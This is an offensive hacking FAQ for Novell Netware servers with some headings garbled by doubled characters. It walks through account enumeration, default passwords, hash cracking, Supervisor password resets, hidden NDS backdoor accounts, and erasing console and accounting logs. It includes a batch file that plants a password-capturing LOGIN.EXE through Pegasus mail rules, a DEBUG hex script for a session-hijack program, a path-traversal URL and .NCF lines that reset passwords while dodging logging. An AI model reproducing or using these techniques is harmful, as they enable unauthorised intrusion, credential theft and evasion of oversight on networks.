1#16#6.#. N#Ne#et#tw#wa#ar#re#e A#Ac#cc#co#ou#un#nt#ts#s
Out of the box Novell Netware has the following default accounts -
SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as
well. All of these have no password to start with. Virtually every
installer quickly gives SUPERVISOR and ADMIN a password. However, many
locations will create special purpose accounts that have easy-to-guess
names, some with no passwords. Here are a few and their typical
purposes:
Account Purpose
---------- ------------------------------------------------------
PRINT Attaching to a second server for printing
LASER Attaching to a second server for printing
HPLASER Attaching to a second server for printing
PRINTER Attaching to a second server for printing
LASERWRITER Attaching to a second server for printing
POST Attaching to a second server for email
MAIL Attaching to a second server for email
GATEWAY Attaching a gateway machine to the server
GATE Attaching a gateway machine to the server
ROUTER Attaching an email router to the server
BACKUP May have password/station restrictions (see below), used
for backing up the server to a tape unit attached to a
workstation. For complete backups, Supervisor
equivalence
is required.
WANGTEK See BACKUP
FAX Attaching a dedicated fax modem unit to the network
FAXUSER Attaching a dedicated fax modem unit to the network
FAXWORKS Attaching a dedicated fax modem unit to the network
TEST A test user account for temp use
ARCHIVIST Palidrome default account for backup
CHEY_ARCHSVR An account for Arcserve to login to the server from
from the console for tape backup. Version 5.01g's
password was WONDERLAND. Delete the Station
Restrictions and use SUPER.EXE to toggle this
account and you have an excellent backdoor.
WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
need this for resource sharing without a password.
ROOT Found on Shiva LanRovers, gets you the command-line
equiv of the AdminGUI. By default, no password. A lot
admins just use the AdminGUI and never set up a
password.
VARs (Value Added Resellers) repackage Netware with their own hardware
or with custom software. Here is a short list of known passwords:
This should give you an idea of accounts to try if you have access to
a machine that attaches to the server. A way to "hide" yourself is to
give GUEST or USER_TEMPLATE a password. Occassionally admins will
check up on GUEST, but most forget about USER_TEMPLATE. In fact, _#I
forgot about USER_TEMPLATE until itsme reminded me.
This list is also a good starting point for account names for
"backdoors". In some environments these account names will be left
alone, particularly in large companies, especially Netware 4.x sites
with huge trees. And don't forget account names like Alt-255 or NOT-
LOGGED-IN.
If your in with any valid account, you can run USERLST.EXE and get a
list of all valid account names on the server.
If you don't have access (maybe the sys admin deleted the GUEST
account, a fairly common practice), you can't just try any account
name at the LOGIN prompt. It will ask you for a password whether the
account name is valid or not, and if it is valid and you guees the
wrong password, you could be letting the world know what you're up to
if Intruder Detection is on. But there is a way to determine if an
account is valid.
From a DOS prompt use a local copy (on your handy floppy you carry
everywhere) of MAP.EXE. After you've loaded the Netware TSRs up
through NETX or VLM, Try to map a drive using the server name and
volume SYS:. For example:
MAP G:=TARGET_SERVER/SYS:APPS
Since you are not logged in, you will be prompted for a login ID. If
it is a valid ID, you will be prompted for a password. If not, you
will immediately receive an error. Of course, if there is no password
for the ID you use you will be attached and mapped to the server. You
can do the same thing with ATTACH.EXE:
ATTACH TARGET_SERVER/loginidtotry
The same thing will happen as the MAP command. If valid, you will be
prompted for a password. If not, you get an error.
In 4.1 CHKNULL shows you every account with no password and you do not
have to be logged in. For this to work bindery emulation must be on.
But there is another way to get them in 4.1:
Once you load up the VLMs you may be able to view the entire tree, or
at least all of the tree you could see if logged in. Try this:
CX /T /A /R
During the installation of 4.1, [Public] has browse access to the
entire tree because [Public] is added to [Root] as a Trustee. The
Inherited Rights Filter flows this stuff down unless explicitly
blocked. If you have the VLMs loaded and access to CX, you don't even
have to log in, and you can get the name of virtually every account on
the server.
Between using CHKNULL, CX, and NLIST an intruder could not only learn
who is in what group and who has access to what, but certainly could
learn who the administrators are, and specifically select accounts for
attack.
Finally, consider using the Intruder utility from NMRC's Pandora v3.0.
This utility has a mode that allows you to give it a list of potential
account names, and it will tell you if they are valid and even if they
have no password. See http://www.nmrc.org/pandora/index.html
<http://www.nmrc.org/pandora/index.html> for details.
The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually
located in 2.x and 3.x respectively.
File What it is
-------------- --------------------------
VALUE.NDS Object and property values
BLOCK.NDS Extended property values
ENTRY.NDS Object and property types
PARTITIO.NDS NDS partition info (replication info, etc.)
MLS.000 License file.
VALINCEN.DAT License validation
To view the hidden SYS:_NETWARE directory, you can try to use RCONSOLE
and the Scan Directory option, although later versions of Netware 4.x
have patched this (starting with 410pt3). Here is another way to view
these files, and potentially edit them. After installing NW4 on a NW3
volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be
the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than
4.0x, but in pre-410pt3 patched 4.1 you can still see the files by
scanning directory entry numbers using NCP calls (you need the APIs
for this) using function 0x17 subfunction 0xF3.
The 16 byte hash is stored within the bindery files in Netware 3.x and
NDS in Netware 4.x. Since the object ID is used in the algorithm, it
adds the equivalent of a ``salt''. This along with the fact that the
password length plays into the algorithm increases the overhead in
cracking multiple passwords at once. Fortunately for the cracker,
both the object ID and the password length are stored with the hash,
along with that fact that lower case letters are converted to upper
case before generating the hash does simplify the process slightly.
Password crackers can brute force a little easier since they can
eliminate trying lower case letters and concentrate on a particular
password length.
This is especially true with regards to the brute force crackers that
attack from the client. Since you are dealing with the network itself,
expect AT BEST about a password attempt a second from most network
cracking utilities.
With Pandora v3.0 you have the fastest dictionary cracking available.
And if you must attack from a client, make sure if you are using a
cracker that you are using dictionary attacking.
The best way for a Sys Admin to prevent Netware password hash
extraction is to at least try the following:
+#o Protect the server console. If the console is compromised, all bets
are off. Don't use RCONSOLE at all. Go to the console to do any
administrator-type work.
You see, once the server has been compromised, sometimes not even
completely, there will be NOTHING to stop unwanted password recovery.
Hackers, just do the opposite of the above items and you'll be fine
;-)
Obviously being set up to use this utility opens a few doors. The
filename is N4PA12.EXE, and can be retrieved from the author's web
site at http://fastlane.net/homepages/dcollins and the author can be
reached at dcollins@fastlane.net.
From itsme -
4- the WS then encrypts this 16 byte value with the 8 byte session key
resulting in 8 bytes, which it sends to the server
(NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)
5- the server performs the same encryption, and compares its own result
with that sent by the WS
-> the information contained in the net$*.old files which can be found
in the system directory after bindfix was run, is enough to login
to the server as any object. just skip step 3
If you have acquired the one-way hash from Bindery or NDS files, you
have enough info to login without password, as stated by Itsme in the
previous section. Pandora v3.0 includes tools for accomplishing this
-- see http://www.nmrc.org/pandora/index.html
<http://www.nmrc.org/pandora/index.html> for details.
Windows 95 has its own password file, and uses this file to store
passwords to Windows 95 itself as well as Netware and NT servers. The
problem here is that the PWL file is easily cracked by brute force, by
using exploit code readily available on the Internet. To keep this
from happening either Service Pack 1 should be applied (see Microsoft)
or disable password caching.
But you can still access the WIN386.SWP file. Either using a disk
utility like DiskEdit from Norton or by booting from DOS, you can
access the swap file and scan it for the password in plaintext. Look
for a string like nwcs and the password will follow that.
While you get a variety of answers from Novell about this technique,
from it doesn't work to it is technically impossible, truth be it it
can be done. Here are the steps, as quoted from
comp.os.netware.security, with my comments in [brackets]:
But what happens if this password is lost and there's no user that is
security-equivalent to the supervisor? [Use SETPWD.NLM, instead of
this process, see section 02-5 - S.N.] What happens if the password
system is somehow damaged and no one can log to the network? According
to the manual, there's simply no way out. You would have to reinstall
the server and try to find your most recent backup.
The idea is to fool Netware to think that you have just installed the
server and that no security system has been estabilished yet. Just
after a Netware 2.x or 3.x server is installed, the Supervisor's
password is null and you can log in with no restriction. Netware 4.x
works slightly differently, but it also allows anyone to log in after
the initial installation, since the installer is asked to enter a
password for the Admin user.
But how can you make the server think it has just been installed
without actually reinstalling the server and losing all data on the
disk? Simple. You just delete the files that contain the security
system. In Netware 2.x, all security information is stored in two
files (NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that
information in three files (NET$OBJ.SYS, NET$VAL.SYS and
NET$PROP.SYS). The all new Netware 4.x system stores all login names
and passwords in five different files (PARTITIO.NDS, BLOCK.NDS,
ENTRY.NDS, VALUE.NDS and UNINSTAL.NDS [This last file may not be
there, don't worry - S.N.]).
One last question remains. How can we delete these files if we don't
have access to the network, anyway? The answer is, again, simple.
Altough the people from Novell did a very good job encrypting
passwords, they let all directory information easy to find and change
if you can access the server's disk directly, using common utilities
like Norton's Disk Edit. Using this utility as an example, I'll give a
step-by-step procedure to make these files vanish. All you need is a
bootable DOS disk, Norton Utilities' Emergency Disk containing the
DiskEdit program and some time near the server.
1. Boot the server and go to the DOS prompt. To do this, just let the
network boot normally and then use the DOWN and EXIT commands. This
procedure does not work on old Netware 2.x servers and in some
installations where DOS has been removed from memory. In those cases,
you'll have to use a DOS bootable disk.
5. Select "Tools" and then "Find". Here, you'll enter the name of the
file you are trying to find. Use "NET$BIND" for Netware 2,
"NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is
possible that you find these strings in a place that is not the
Netware directory. If the file names are not all near each other and
proportionaly separated by some unreadable codes (at least 32 bytes
between them), then you it's not the place we are looking for. In that
case, you'll have to keep searching by selecting "Tools" and then
"Find again". [In Netware 3.x, you can change all occurences of the
bindery files and it should still work okay, I've done it before. -
S.N.]
6. You found the directory and you are ready to change it. Instead of
deleting the files, you'll be renaming them. This will avoid problems
with the directory structure (like lost FAT chains). Just type "OLD"
over the existing "SYS" or "NDS" extension. Be extremely careful and
don't change anything else.
7. Select "Tools" and then "Find again". Since Netware store the
directory information in two different places, you have to find the
other copy and change it the same way. This will again prevent
directory structure problems.
8. Exit Norton Disk Edit and boot the server again. If you're running
Netware 2 or 3, your server would be already accessible. Just go to
any station and log in as user Supervisor. No password will be asked.
If you're running Netware 4, there is one last step.
I actually had this typed up but kept changing it, so I stole this
quote from the newsgroup to save me retyping ;-)
Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the
bindery and downs the server. Reboot and you have Supe and Guest, no
password.
You can load SETPWD at the console or via RCONSOLE. If you use
RCONSOLE, use the Transfer Files To Server option and put the file in
SYS:SYSTEM.
For 4.x: set bindery context = [context, e.g. hack.corp.us] LOAD [path
if not in SYS:SYSTEM]SETPWD [username] [newpassword]
In 4.x the change is replicated so you have access to all the other
servers in the tree. And don't forget, you must follow the password
requirements for this to work -- if the account you are changing
normally requires a 6 character password, then you'll need to supply a
6 character password.
If you have two volumes or some unallocated disk space you can use
this hack to get Supe. Of course you need physical access but it
works. I got this from a post in comp.os.security.netware
Teiwaz updated these steps to make things easier and workable. And one
other note -- this will NOT disable password checking in 4.x.
Sorry....
Here you need console and Supervisor access. The site is running 3.11
or higher and running the CONLOG.NLM. Any site running this is
trapping all console messages to a file. If you run SETPWD at the
console, the response by SETPWD is written to a log file. Here's the
steps for determining if it is running and what to do to defeat it:
+#o Type MODULES at the console. Look for the CONLOG.NLM. If it's
there, it's running.
+#o Look on the server in SYS:ETC for a file called CONSOLE.LOG. This
is a plain text file that you can type out. However you cannot
delete or edit it while CONLOG is running.
+#o Delete, or even better yet, edit the CONSOLE.LOG file, erasing your
tracks.
+#o Reload CONLOG. It will show that is has been restarted in the log.
+#o Check the CONSOLE.LOG file to ensure the owner has not changed.
Yes and no. In version 3.x, the Supe password always works.
instead of
The admin believes /P= turns off everything except the Supe password
for RCONSOLE. In fact the password is just set to /P= which will get
you in! The second most common mistake is using -S, and the third is
"".
+#o At the console prompt, type LOAD REMOTE SECRET where SECRET is the
Remote Console password.
+#o Now type REMOTE ENCRYPT. You will be prompted for a password to
encrypt.
+#o This will give you the encrypted version of the password, and give
you the option of writing LDREMOTE.NCF to the SYS:SYSTEM directory,
containing all the entries for loading Remote Console support.
+#o You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the
LOAD REMOTE line in the AUTOEXEC.NCF as follows:
LOAD REMOTE SECRET
becomes
There is a simple and easy way to do this in 3.11 if you have a print
server running on the file server. The following exploits a bug in
3.11:
+#o Use pconsole to down the print server. This causes the monitor
screen to go to the print server screen and wait for you to press
enter to exit the screen. At the same time it puts the monitor
screen in the background.
+#o Check the AUTOEXEC.NCF for the PSERVER.NLM load line and manually
reload the PSERVER.NLM.
For both Netware 3.x and 4.x, try the debug disable steps as outlined
earlier. You can type any password in to unlock the console, besides
disabling 3.x password protection altogether.
The Login Scripts are stored in, you guessed it, SYS:_NETWARE. Unlike
the binary files used in NDS, these files are completely editable by
using EDIT.NLM. Doing an RCONSOLE directory scan in SYS:_NETWARE will
turn up files with extensions like .000, these are probably Login
Scripts. Pull up a few, they are plain text files. For example, you
found 00021440.000:
If it is a Login Script, you will see it in plain english and you can
certainly edit and save it. This completely bypasses NDS security, and
is the main weakness. You can use this to grant a user extra rights
that can lead to a number of compromises, including full access to the
file system of any server in the tree.
Starting with Novell's 410pt3 patch you can no longer see the _NETWARE
from RCONSOLE. This is hardly surprising as the ability to look into
this directory has become increasingly difficult with each release of
patches.
With Netware 4.11 you can't see it at all with RCONSOLE. Although with
patch level IWSP5 one is able to see SYS:_NETWARE from RCONSOLE's
"Directory Scan" function.
When you load up NETBASIC.NLM, you type "shell" and you get a DOS-
styled shell. It is actually still an NLM, but the "commands" include
DOS-like commands like cd, dir, copy, etc. So the trick is to simply
"cd _NETWARE" and bingo -- you're in. At this point you can do all
kinds of fun things. Remember, you can still use JCMD.NLM, but the
point is that this is kind of "built in". Fun things to do include -
- Make copies of any of the files, including the license(s), NDS, login
scripts, auditing files, etc.
- Copy these files to SYS:LOGIN and you can copy them off the server
WITHOUT logging in.
- Copy off the license file (MLS.000) and play around with a hex editor.
Copy up the modified file and name it MLS.001 and you've doubled your
license count (bear in mind this is illegal).
- Modify login scripts for fun, profit, and gaining extra rights.
- Poke around with auditing files, even delete NET$AUDT.CAF and files
with an extension of .$AF in case your auditor forgot their password.
NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF.
Instead they hard-code all the information into NET$OS.EXE, so you
will have to rebuild it to change anything.
+#o Attacker sets Bindery Context to match the user ID with Supervisor
rights to the server.
+#o Attacker sets a Bindery Context to match another user with greater
priviledges, such as Admin.
+#o Attacker resets password of the user ID with Supe rights to the
server(unless the Attacker happens to BE the user with the Supe
rights, say if the attacker is a temp contractor managing tape
backups).
To defeat this, a sys admin needs to make sure there are no replicas
with sensative accounts on remote servers.
The cheesy way is the way that will get you in, but it will be obvious
to the server's admin that the server has been compromised. This
technique works for 3.11.
Often an admin will try and prevent a user from getting to DOS or
breaking out of the System Login Script to "control" the user. Here's
to way to prevent that -
+#o Use ATTACH instead of LOGIN to connect to a server. ATTACH will not
run the login script, whereas LOGIN will. ATTACH.EXE will either
have to be copied to a local HD or put in SYS:LOGIN.
+#o Use the /s option for LOGIN. Using "LOGIN /S NUL " will cause LOGIN
to load the DOS device NUL which will always seem like an empty
file.
The version of LOGIN.EXE that shipped with 4.0 had a flaw that under
the right conditions the account and password could be written to a
swap file created by LOGIN.EXE. Once this occured, the file could be
unerased and the account and password retrieved in plain text.
A couple of things might cause this. One, I'd check the rights for
[PUBLIC], and secondly I'd check the USER_TEMPLATE id for excessive
rights. The Write right to the ACL will allow you to do some
interesting things, including making yourself Admin equivalent. For
gaining equivalence to most anything else you need only Read and
Compare.
Two ways this can be abused -- on some systems generating the longer
file you can simply make sure you generate a .PWL file with the target
account name and reboot using that .PWL file.
The other way is to simply collect the .PWL file from an unattended
workstation and boot using it.
1#19#9.#.7#7.#. W#Wh#ha#at#t i#is#s P#Pa#ac#ck#ke#et#t
S#Si#ig#gn#na#at#tu#ur#re#e a#an#nd#d h#ho#ow#w d#do#o I#I g#ge#et#t
a#ar#ro#ou#un#nd#d i#it#t?#?
You can set the same settings at the workstation. The default for
packet signatures is 1 at the server and client. If you wish to use a
tool like HACK.EXE, try setting the signature level at 0 on the client
by adding Signature Level=0 in the client's NET.CFG. If packet
signatures are required at the server you won't even get logged in,
but if you get logged in, hack away.
If you wish to change the signature level at the server, use a set
command at the server console:
As noted, the packet signature scheme only signs the important parts
of NCP packets. Some NCP packets, including "fragmented" NCP packets,
are not signed, and in some cases packet signature fucntions
differently depending on the settings on the client. Also on Netware
4.x, a server attachs as an object in the connection list, and the
packet signature on this does not work properly even if the server is
set to Option 3. Details regarding these flaws can be found in a white
paper by NMRC members Jitsu-Disk and Simple Nomad at
http://www.nmrc.org/pandora/DOCS/NCP.TXT
<http://www.nmrc.org/pandora/DOCS/NCP.TXT>, and exploit code was
released with Pandora v3.0 available from
http://www.nmrc.org/pandora/download.html
<http://www.nmrc.org/pandora/download.html>.
+#o Netware 4.1 : type 512 chars on the console + NENTER = abend
+#o Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number
higher than the maximum allowed will crash the server (yes you will
need the APIs)
There are several flaws regarding NCP that can allow for interesting
Denial of Service that will crash a server. One utility, Havoc, was
released with Pandora <http://www.nmrc.org/pandora/index.html>, and a
couple more (Burn and Yang) are available at
http://www.nmrc.org/files/netware/
<http://www.nmrc.org/files/netware/>.
By default Windows 95 shipped with long file names (LFN) and Packet
Burst enabled, which created a unique problem -- if the server didn't
have long name space loaded (OS/2 name space) it caused problems with
files and occassionally crashed the server. But the worse one was
Packet Burst. Unless you had at least a 3.11 server with the
PBURST.NLM up and running, along with drivers for the server's network
capable of handling Packet Burst, the buffer space used for network
connections and/or the buffer space on the network card created
problems ranging from lockups to timeouts to abends.
There were a couple of different fixes you could do, like updating the
server for long name space and Packet Burst (sorry Netware 2.x users),
or you could update the clients' SYSTEM.INI file with the following
entries:
If File & Print Sharing for Netware is configured and you have non-
Windows 95 users, there could be serious network problems. How does
this happen? Here is a very simplified explanation -
The way Netware advertises its file and print services is via
Netware's proprietary (but widely documented) Service Advertising
Protocol (SAP). How to get to these resources is communicated via
Routing Information Protocol (RIP) packets. Both SAP and RIP info are
transmitted broadcast style. Netware servers and even intelligent
networking equipment that conform to the SAP and RIP protocol scheme
(like routers) share this info dynamically between each other.
The problem is when Windows 95 is set up with File & Print Sharing for
Netware, because the Windows 95 workstation does a lousy job of
implementing and interacting with the SAP and RIP info. As any LAN/WAN
specialist will tell you, extra SAPs can quickly waste bandwidth,
causing timeouts and broadcast storms. And that is exactly what
Windows 95 does. Netware 3.x and 4.x have released patches, but the
easiest thing to do is simply NOT use File & Print Sharing under
Windows 95 -- use Netware's file and print services like they're
supposed to be used, or use Client/FPS for Microsoft networks instead.
+#o Turn on File & Print Sharing for Netware in Windows 95.
+#o When a regular user boots up, the user needs to get to the nearest
server to find his prefered server's location from the nearest
server's SAP and RIP tables. Routers typically will simply pass on
the name and address of the closest server attached to it. This
with the hop counts will lead to a lot of attachments to the
Winodws 95 server. Therfore even a PREFERED SERVER variable in the
NET.CFG would not help.
+#o To keep clients from timing out with an error, Microsoft passes the
user onto the prefered server IF the Windows 95 server is set up
with the same name.
+#o In theory could create a \LOGIN directory and run your own
LOGIN.EXE that grabbed the password and then send the client onto
it's real server.
Once you are in, you want to leave a way back with supe equivalency.
You can use SUPER.EXE, written for the express purpose of allowing the
non-supe user to toggle on and off supe equivalency. If you use the
cheesy way in (previous question), you turn on the toggle before the
admin removes your supe equivalency. If you gain access to a supe
equivalent account, give Guest supe equivalency and then login as
Guest and toggle it on. Now get back in as the original supe account
and remove the supe equivalency. Now Guest can toggle on supe
equivalency whenever it's convenient.
+#o Give this user full Trustee Rights to their own user object.
+#o Give this user full Trustee Rights to the new container.
+#o Modify the ACL for the new user so they can't be seen.
+#o Adjust the Inherit Rights Filter on the new container so no one can
see it.
Now this technique can be used by the paranoid admin that wants to
give another user full access to a container, and this user wants to
restrict access to this container. To prevent this user from
forgetting their password (and making a section of the tree
unmanageable or worse, disappear) an admin will use similiar
techniques.
I have not been able to fully test this but it looks completely
invisible to the average LAN admin. This does require an above average
knowledge of NDS to set up, so most administrators will not even know
how to look for this user.
Let's say you installed your backdoor at the XYZ Company, put your
container inside the MIS container and called it BADBOY. Your backdoor
is named BACKDOOR. Login like this:
LOGIN .BACKDOOR.BADBOY.MIS.XYZ
Now you will show up in the normal tools that show active connections
on a server, so naming your backdoor "BACKDOOR" is probably not a
great idea. Think of a name that might look like an automated
attachment, and only use it when you think you won't be noticed.
If the site has Kane Security Analyst, they can find the backdoor.
It has come to our attention that there is now a tool from Novell
Consutling's called "HOBJLOC"(hidden object locator) which may reveal
the hidden object discussed above.
There are several. Here is a list with their location and their
purposes:
+#o Volume Error Log - This is a plain text file located on the root of
every volume and is named VOL$LOG.ERR. Hackers should not pay
attention to it unless you are mounting and unmounting volumes and
don't want a record of it. Typically volume errors are written
here.
+#o Auditing - Auditing in Netware 4.x and greater writes its data to
files located in _NETWARE\*.CAF files. Normally found under SYS:,
the _NETWARE directory is a hidden directory, but it also exists on
other volumes.
Turn it off. And spoof your node address. Here's the steps -
+#o Spoof your address. Use a supe account's typical node address as
your own.
+#o Now do what you will in the system. Use a different account if you
like, it won't show up in the log file.
+#o When done, login with the original account, run SYSCON and re-
install Accounting. Immediately logout, and the next line in the
NET$ACCT.DAT file will be your logout, showing a login and logout
with the same account name, nice and neat.
If you can't spoof the address (some LAN cards don't allow it or
require extra drivers you may not have), just turn off Accounting and
leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM
directory.
It should be noted that to turn off and on Accounting you need supe
equivalent, but you don't need supe equivalence to spoof the address.
Also, if the site is running Novell's Web Server software, use a web
browser and try
http://www.target.com/scripts/convert.bas?../../_netware/net$audt.caf
and if you DO NOT receive an error, Auditing is or was active.
If the Auditor forgets the password, try a simple wipe and reload.
Hello, hello, you seemed to have fainted...
itsme has done some poking around with his tools, and has the
following to say regarding the SERVER.EXE that comes with Netware 4:
It has been noted that when running Netware 3.x, specifically 3.12,
over DOS, no windows at all, and you start Word Perfect version 5.1,
enter a last name, then hit F5, you get access to the entire disk.
NMRC is investigating and will keep you posted as to our results.
This will depend greatly on what kind of network interface card (NIC)
the workstation has, as to whether you can perform this function.
Typically you can do it in the Link Driver section of the NET.CFG file
by adding the following line - NODE ADDRESS xxxxxxxxxxxx where
xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are
using Netware's ODI drivers, if you are using NDIS drivers you will
have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which
usually has the lines already in it.
Getting the target node address should be pretty easy. Login with any
account and do a USERLIST /A. This will list all accounts currently
logged in with their network and node address. If your workstation is
on the same network as the target, you can spoof the address no
problem. Actually you can spoof the address regardless but to defeat
station restrictions you must be on the same network.
For an IP address, you may have to run a TCPIP config program to make
it work (it depends on whose IP stack you are running). Some
implementations will have the mask, the default router and the IP
address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to
look around in all network- related subdirectories to see if there are
any .CFG, .INI, or .NIF files that may contain addresses.
Forging the IP address is quite tricky, and many people have written
to me asking for specific tips. Since there are a number of different
IP implementations this is rather impractical. However here are a few
important items to remember:
+#o Most utilities that configure the IP address DO use an INI, CFG or
NIF file of some type. Look for those files.
+#o A company may have a class 2 address, and may have dozens of class
3 subnets. If your subnet is 100.100.100.x and your default router
is 100.100.100.254, trying to spoof 100.100.200.10 probably will
not work very well.
Instead of a normal DIR command, use NDIR to see hidden files and
directories. NDIR *.* /S /H will show you just Hidden and System
files.
Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't.
But once again X-AWAY.EXE requires Supervisor access.
To disable the check for Supe access in X-AWAY, try the following:
Hey presto, anybody can copy X flagged files. The only catch is you
need practically full rights in the directory where the X flagged file
resides.
The best way is to use Filer. Here are the steps for removing file
alterations -
+#o Run Filer or use NDIR and note the attributes of the target file,
namely the date and owner of the file.
+#o Run Filer or use NDIR and check to see if the attributes have
changed. If so, change them back to the original settings.
While you can hit F1 will in Filer and get all the context-sensitive
help you need, the quicky way to get where you're going is to run
Filer in the target file's directory, select Directory Contents,
highlight the target file and hit enter, select File Options and then
View/Set File Information. View and edit to your heart's desire.
+#o Once executed, the trojan uses API calls to determine if the person
is logged in as a Supe equivalent, if not it goes to the next step.
Otherwise some type of action to breach security is performed.
The LAN God has pointed out quite correctly that Trustee Directory
Assignments are the most misunderstood and misconfigured portion of
Novell Netware. Typically a secure site should have Read and File Scan
only in most directories, and should not have any rights on the root
directory of any volume. Rights assigned via the Trustee Directory
Assignments filter down the directory tree, so if a user has Write
access at the root directory, that user has Write access in every
subdirectory below it (unless explicitly limited in a subdirectory
down stream). And these assignments are not located in the bindery,
but on each volume.
[quote] A trustee is any user or group that has been granted access
rights in a directory.
The access rights in Novell NetWare 2 are slightly different from the
ones in NetWare 3.
Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL.
This means the user (including GUEST) has the ability to write files
to any subdirectory in SYS:MAIL. The first versions of Netware
included a simple e-mail package, and every user that is created gets
a subdirectory in mail with RCWEMF, named after their object ID
number. One consistent number is the number 1, which is always
assigned to Supervisor. Here's one way to exploit it:
Trick #1
--------
- Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped
to
the SYS: volume.
- The next time the Supervisor logs in the LOGIN.EXE is replaced and the
PROP.EXE
file is run, capturing passwords. Run PROP.EXE later to get the passwords, and
then once you have all the passwords you need (including Supervisor) delete
your
LOGIN and BOMB.BAT file.
Trick #2
--------
Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how
to use it:
- Create a RULES.PMQ file that sets up a rule to execute a file after receipt of
a
mail message. The program Run line should be something like:
COMMAND /C F:\MAIL\1\BOMB.BAT
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- When the Supe reads his mail, the replacement LOGIN.EXE is active and
capturing
passwords. After acquiring a Supe equiv account, delete the rogue files from
SYS:MAIL\1
This Pegasus mail problem will only work if the RULES.PMQ does not
exist in the target directory.
Trick #2a
---------
If the RULES.PMQ file exists, obviously you cannot do this. After all, you can
only create new files to these directories. But here's a way to try and trick
the Supe into deleting it for you:
- Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through
RULER.PMQ, and RULET.PMQ through RULEZ.PMQ.
- Next time the Supe logs in and accesses mail, errors.
- The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed.
- Now do Trick #2
To find out all your trustee rights, use the WHOAMI /R command. The
following section is a summary of what rights to expect, and the
purpose. Where x appears, it means it doesn't matter if the right is
set.
[SRWCEMFA] means you have FULL rights. They are all eight of the effective
rights flags.
[xxxxxxxA] is next best thing to the S right. It means you have access
control in that directory and all subdirectories. You can have your
access control (along with any other rights) revoked in a subdirectory,
but you can always use inherited rights to recover them (see the
c.o.n.s FAQ).
[ RCWEMFx] is what users should have in their home directory. You can read,
create, and edit files. If you find any unusual directories with
these rights, they can also be used for storing files (maybe an abuse
of the network, especially if this is exploited to avoid quota
systems).
[ RxW F ] usually means that the directory is used for keeping log files.
Unless you have the C right, it may not be possible to edit files in
this directory.
The RIGHTS commands tells you what rights you have in a particular
directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.
Access to any .NCF file can bypass security, as these files are
traditionally run from the console and assume the security access of
the console. The addition of a few lines to any .NCF file can get you
access to that system.
UNLOAD CONLOG
LOAD SETPWD SUPERVISOR SECRET
CLS
LOAD CONLOG
This assumes you had read/write access to the location of the .NCF
file and can copy SETPWD.NLM to the server. Note that by unloading
CONLOG you are only partially covering your tracks, in the CONSOLE.LOG
file it will be obvious that CONLOG was unloaded and reloaded. The CLS
is to keep your activities off of the server's screen.
The best .NCF for this is obviously one that is either used during the
server's boot process or during some automated process. This way a
short .NCF and its activities may escape the eyes of an admin during
execution.
2#22#2.#.1#10#0.#. C#Ca#an#n s#so#om#me#eo#on#ne#e t#th#hi#in#nk#k
t#th#he#ey#y'#'v#ve#e l#lo#og#gg#ge#ed#d o#ou#ut#t a#an#nd#d I#I w#wa#al#lk#k
u#up#p a#an#nd#d t#ta#ak#ke#e
o#ov#ve#er#r?#?
Type the following commands at the DOS prompt (or rip them out of this
file, and feed them into DOS debug).
debug boo.com
e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74
e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d
e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e
e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06
e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00
rcx
50
w
q
Just run it on a workstation running NetWare 2.x or 3.x, and wait for
someone to login, use the machine, logout, and walk away. Oops. They
forgot to logout? Now, isn't that just *bad* luck...
For remote access, hackers always want a Shiva hooked up. You see, if
a hacker gets a name from the internal name list, they may not need a
user ID and password for a Novell server. If a Shiva user disconnects
without logging out, the next person in will be in as that person --
Shiva doesn't drop the connection!
Some systems keep user's home directories on one volume, and only
restrict disk space on that one volume. Applications and system files
will be kept on other volumes. Since some applications require write
access to their directories, if the volume space is not limited, any
user capable of running the program can use the extra disk space
available (an e-mail program like Microsoft Mail on it's own volume
leaps to mind). If space isn't limited on SYS, on 3.x there is the
SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object
ID), but this is not there by default in 4.x. However if Pegasus mail
is being used, or if the server was migrated from 3.x to 4.x, the
directory structure and access may be the same.
If you have access to a server via RCONSOLE it may come in handy after
loading or unloading an NLM to reboot a server. Build an NCF file by
doing the following steps -
- Create a file called DOWNBOY.NCF on your local drive. It should be a text file
and contain the following lines:
REMOVE DOS
DOWN
EXIT
What happens is this - the REMOVE DOS statement frees up the DOS
section in server RAM, the server is downed (if there are open files,
you will be given one of those "are you sure" messages, answer Y for
yes), and the EXIT command tries to return the server console to DOS.
But since you removed DOS from RAM, the server is warm booted.
On Netware 3.11 if you ask the portmapper for an NFS handle it will
give you one. When you give NFS the file handle it will check its
LOCAL portmapper and then grant the request. You can then read any
file on the mount you just made.
Netware NFS' existence on a server says you have some Unix boxes
